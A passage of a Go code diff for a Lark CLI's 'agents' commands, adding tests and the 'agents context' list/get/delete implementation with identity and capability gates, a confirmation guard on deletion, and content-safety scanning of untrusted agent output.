+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
+
+	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
+		t.Fatalf("warn mode should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("unmarshal: %v (%s)", err, out.String())
+	}
+	if env.ContentSafetyAlert == nil {
+		t.Error("warn mode should attach the alert to the envelope")
+	}
+}
+
+// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
+// summaries carry untrusted agent text, so a block-mode content-safety hit
+// aborts the emit with the typed block error and writes nothing (task list used
+// to PrintJson directly and bypass scanning).
+func TestTaskListContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	opts, _ := taskTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listTasks: func(string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+		return []iagents.TaskSummary{{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"}}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	err := agentTaskListRun(opts)
+	if err == nil || !errs.IsContentSafety(err) {
+		t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
+	}
+	if len(out.Bytes()) > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
+	}
+}
+
+// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
+// active_task.Summary is untrusted agent text.
+func TestContextGetContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, TaskCount: iagents.Int(1),
+			ActiveTask: &iagents.TaskSummary{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	err := agentContextGetRun(opts)
+	if err == nil || !errs.IsContentSafety(err) {
+		t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
+	}
+	if len(out.Bytes()) > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
+	}
+}
+
+// resolveCmd builds an `agents card` command carrying an `--as` flag. When
+// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
+// the passed identity verbatim (needed to exercise the identity-check branch).
+func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: "card"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if asChanged {
+		if err := leaf.Flags().Set("as", asVal); err != nil {
+			t.Fatal(err)
+		}
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// TestResolveSpec_Success resolves a valid example ref under an explicit bot
+// identity and returns a non-nil spec offline (no client).
+func TestResolveSpec_Success(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
+	if err != nil {
+		t.Fatalf("a valid ref + bot should succeed: %v", err)
+	}
+	if spec == nil || spec.Send.Handler == nil {
+		t.Fatal("should return a non-nil spec with core hooks")
+	}
+	if prov.Scheme != "example" || agentID != "echo" {
+		t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
+	}
+	if id != core.AsBot {
+		t.Errorf("identity should be bot, got %s", id)
+	}
+}
+
+// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
+// invalid_argument validation error (exit 2).
+func TestResolveSpec_MalformedRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// A malformed ref teaches the <scheme>:<agent_id> shape.
+	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
+		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
+	}
+}
+
+// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
+func TestResolveSpec_UnknownScheme(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || !strings.Contains(p.Hint, "agents list") {
+		t.Errorf("unknown-scheme hint should point to `agents list`, got %+v", p)
+	}
+}
+
+// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
+// framework validates it offline (a change from the old construct-only path).
+func TestResolveSpec_UnknownCatalogID(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
+	if err == nil || spec != nil {
+		t.Fatal("an unknown catalog id should error with a nil spec")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
+// unsupported --as is explicitly requested; no spec is returned.
+func TestResolveSpec_IdentityRejected(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "admin")
+
+	_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
+	if err == nil {
+		t.Fatal("an unsupported identity should error")
+	}
+	if spec != nil {
+		t.Error("should not return a spec when identity validation fails")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestResolveSpec_ProviderIdentityRejected pins the provider-level identity
+// contract. A user-only provider must reject bot before dry-run or any API
+// operation can proceed, while user identity remains available offline.
+func TestResolveSpec_ProviderIdentityRejected(t *testing.T) {
+	registerScripted()
+
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	botCmd := resolveCmd(t, true, "bot")
+	_, spec, _, _, err := resolveSpec(f, botCmd, "fakeuseronly:agt_x", "bot")
+	if err == nil || spec != nil {
+		t.Fatal("bot should be rejected by a user-only provider")
+	}
+	p, ok := errs.ProblemOf(err)
+	var validationErr *errs.ValidationError
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
+		t.Fatalf("provider identity rejection should be invalid_argument for --as, got problem=%+v err=%v", p, err)
+	}
+
+	userCmd := resolveCmd(t, true, "user")
+	_, spec, _, id, err := resolveSpec(f, userCmd, "fakeuseronly:agt_x", "user")
+	if err != nil {
+		t.Fatalf("user should be accepted by a user-only provider: %v", err)
+	}
+	if spec == nil || id != core.AsUser {
+		t.Fatalf("should return spec + user identity, got spec=%v id=%s", spec, id)
+	}
+}
+
+// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
+func TestRuntimeFor_APIClientError(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
+
+	if _, err := runtimeFor(f, core.AsBot, "echo", nil); err == nil {
+		t.Fatal("a Config error should propagate")
+	}
+}
+
+// unconfiguredFactory returns a Factory whose Config() errors (simulating a
+// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
+// pin that the API-free paths never reach the config gate.
+func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
+	t.Helper()
+	f, _, _, _ := cmdutil.TestFactory(t, nil)
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
+	return f
+}
+
+// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
+// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
+// while runtimeFor (the client path) still fails at the config gate.
+func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
+	if err != nil {
+		t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
+	}
+	if spec == nil || id != core.AsBot {
+		t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
+	}
+	if _, err := runtimeFor(f, id, "echo", nil); err == nil {
+		t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
+	}
+}
+
+// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
+// scheme is a validation error (exit 2) even when unconfigured — it must not be
+// masked by not_configured.
+func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	for _, ref := range []string{"no-colon", "nope:agt_x"} {
+		_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
+		if err == nil {
+			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
+		}
+		if !errs.IsValidation(err) {
+			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
+		}
+	}
+}
+
+// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
+// card` is statically synthesized and must succeed unconfigured, never hitting
+// the config gate.
+func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
+		t.Fatalf("agents card should succeed when unconfigured (API-free): %v", err)
+	}
+}
+
+// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
+// `agents send --dry-run` is a client-side preview and must succeed
+// unconfigured — the example echo card declares no parameters, so no --param is
+// needed. A malformed --param must still surface as validation, unconfigured.
+func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
+	})
+	if err != nil {
+		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
+	}
+
+	// A malformed --param (no '=') is still a validation error, unconfigured.
+	err = agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
+		Params: []string{"noequals"}, DryRun: true, As: "bot",
+	})
+	if err == nil || !errs.IsValidation(err) {
+		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
+	}
+}

cmd/agents/context.go

@@ -0,0 +1,316 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextOptions holds all inputs for the `agents context list|get|delete`
+// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
+// Ref, As) are wired once; each RunE reads only the fields its verb needs.
+type contextOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	CtxID     string
+	Params    []string
+	Yes       bool
+	As        string
+	Format    string
+	PageSize  int
+	PageToken string
+}
+
+// NewCmdAgentContext builds the `agents context` command group: manage a remote
+// agent's multi-turn contexts (each verb gated on its own capability:
+// context_list / context_get / context_delete). It is a pure group with
+// no RunE so an unknown subcommand is reported rather than silently swallowed.
+func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "context",
+		Short: "Manage a remote agent's multi-turn contexts (sessions)",
+		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
+	}
+	cmd.AddCommand(NewCmdAgentContextList(f))
+	cmd.AddCommand(NewCmdAgentContextGet(f))
+	cmd.AddCommand(NewCmdAgentContextDelete(f))
+	return cmd
+}
+
+// NewCmdAgentContextList builds `agents context list <ref>`: enumerate the
+// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
+func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's multi-turn contexts",
+		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentContextListRun(opts)
+		},
+	}
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextGet builds `agents context get <ref> <ctx-id>`: fetch a
+// single context's detail. Risk=read.
+func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <ctx-id>",
+		Short: "Show the detail of a single multi-turn context",
+		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextGetRun(opts)
+		},
+	}
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextDelete builds `agents context delete <ref> <ctx-id>`: destroy
+// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
+// requires --yes; without it the command returns a confirmation_required error
+// (exit 10) before touching the API. Risk=high-risk-write.
+func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "delete <agent_ref> <ctx-id>",
+		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
+		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextDeleteRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
+	return cmd
+}
+
+// agentContextListRun runs `context list`: resolves the provider, lists
+// contexts in the provider's most-recent-first order, and emits {contexts:[...]}
+// with meta.count through content-safety scanning (the rollup is derived from
+// untrusted agent activity).
+func agentContextListRun(opts *contextOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client: context_list is derived from ListContexts
+	// being wired, so a spec without it returns unsupported_capability offline.
+	if spec.ListContexts.Handler == nil {
+		return capabilityError(opts.Ref, "context list", iagents.CapContextList)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.ListContexts.Brands, opts.Ref, "context list"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.ListContexts.Params, iagents.VerbContextList, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	contexts, pageInfo, err := spec.ListContexts.Handler(opts.Cmd.Context(), rt,
+		iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+	if err != nil {
+		return err
+	}
+	// Ordering is the provider's contract (most-recent-first), consistent across
+	// and within pages — the CLI does not re-sort a page.
+	if contexts == nil {
+		contexts = []iagents.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format,
+		map[string]interface{}{"contexts": contexts},
+		listMetaPage(len(contexts), pageInfo, contextListNext(opts, f, pageInfo)),
+		func(w io.Writer) { printContextsTSV(w, contexts) })
+}
+
+// contextListNext builds the next-page action for `context list`, replaying the
+// caller's ref with the returned cursor. The ref is gated by safeNextRef; a
+// failing ref drops the action (the cursor still rides meta.page_token as data).
+func contextListNext(opts *contextOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextRef(opts.Ref) {
+		return nil
+	}
+	next := nextPageAction(fmt.Sprintf("lark-cli agents context list %s", opts.Ref), opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// agentContextGetRun runs `context get`: resolves the provider, fetches the
+// context detail (metadata + rollup + the single active_task, NOT the full task
+// list), derives the active task's IsTerminal, and emits it through
+// content-safety scanning (active_task.Summary is untrusted agent text).
+func agentContextGetRun(opts *contextOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client.
+	if spec.GetContext.Handler == nil {
+		return capabilityError(opts.Ref, "context get", iagents.CapContextGet)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.GetContext.Brands, opts.Ref, "context get"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.GetContext.Params, iagents.VerbContextGet, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	detail, err := spec.GetContext.Handler(opts.Cmd.Context(), rt, opts.CtxID)
+	if err != nil {
+		return err
+	}
+	if detail != nil && detail.ActiveTask != nil {
+		// Derive IsTerminal from State (single source of truth) for the active task
+		// summary before emission — the provider only fills State.
+		detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
+		func(w io.Writer) { printContextDetailPretty(w, detail) })
+}
+
+// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
+// first so a missing confirmation returns confirmation_required (exit 10) before
+// any provider is built and holds even under a nil Factory. Only a
+// confirmed delete reaches resolveSpec + DeleteContext.
+func agentContextDeleteRun(opts *contextOptions) error {
+	if !opts.Yes {
+		// Not the generic English RequireConfirmation: deletion is the most
+		// destructive gate in the agent tree, so the message must state the
+		// irreversible blast radius in the same voice (Chinese, self-contained)
+		// as the other two exit-10 gates.
+		return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents context delete",
+			"删除会话将不可逆地移除该会话及其名下全部任务记录").
+			WithHint("确认要删除后，加 --yes 重发")
+	}
+
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client.
+	if spec.DeleteContext.Handler == nil {
+		return capabilityError(opts.Ref, "context delete", iagents.CapContextDelete)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.DeleteContext.Brands, opts.Ref, "context delete"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.DeleteContext.Params, iagents.VerbContextDelete, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := spec.DeleteContext.Handler(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}

cmd/agents/context_test.go

@@ -0,0 +1,578 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextCmdCtx builds a `lark-cli agents context <leaf>` command whose --as flag
+// is set to bot so ResolveAs honors it verbatim, and carries a context.
+func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	grp := &cobra.Command{Use: "context"}
+	l := &cobra.Command{Use: leaf}
+	root.AddCommand(group)
+	group.AddCommand(grp)
+	grp.AddCommand(l)
+	l.Flags().String("as", "", "identity")
+	if err := l.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	l.SetContext(context.Background())
+	return l
+}
+
+// contextTestOpts wires a contextOptions against a real (test) Factory,
+// addressing the scripted fakeflow agent agt_x under a bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test; provider behavior is scripted via setScripted.
+func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, reg := cmdutil.TestFactory(t, cfg)
+	return &contextOptions{
+		Factory:  f,
+		Cmd:      contextCmdCtx(t, leaf),
+		Ref:      "fakeflow:agt_x",
+		As:       "bot",
+		PageSize: defaultPageSize,
+	}, reg
+}
+
+// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
+// confirmation_required error (exit 10), raised before any provider is built.
+func TestContextDeleteRequiresYes(t *testing.T) {
+	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
+	if err == nil {
+		t.Fatal("context delete without --yes should report confirmation_required")
+	}
+	if !errs.IsConfirmationRequired(err) {
+		t.Fatalf("should be a confirmation_required error, got %T", err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
+		t.Fatalf("exit code should be 10, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("subtype should be confirmation_required, got %+v", p)
+	}
+}
+
+// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
+// deletes the session, and emits a success envelope.
+func TestContextDeleteWithYes(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	var deleted string
+	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
+		deleted = ctxID
+		return nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextDeleteRun(opts); err != nil {
+		t.Fatalf("context delete --yes should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" || data["deleted"] != true {
+		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
+	}
+	if deleted != "sess_1" {
+		t.Errorf("provider should receive the context id to delete, got %q", deleted)
+	}
+}
+
+// TestContextDeleteProviderError surfaces a provider DeleteContext failure
+// (non-zero business code) after --yes passes.
+func TestContextDeleteProviderError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	setScripted(t, scriptedHooks{deleteContext: func(string) error {
+		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextDeleteRun(opts); err == nil {
+		t.Fatal("a DeleteContext error should propagate")
+	}
+}
+
+// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
+// after the --yes confirmation guard passes.
+func TestContextDeleteInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListEmitsContexts pins that `context list` returns
+// {contexts:[...]} with a meta.count.
+func TestContextListEmitsContexts(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+		return []iagents.ContextSummary{
+			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+			{ContextID: "sess_2"},
+		}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
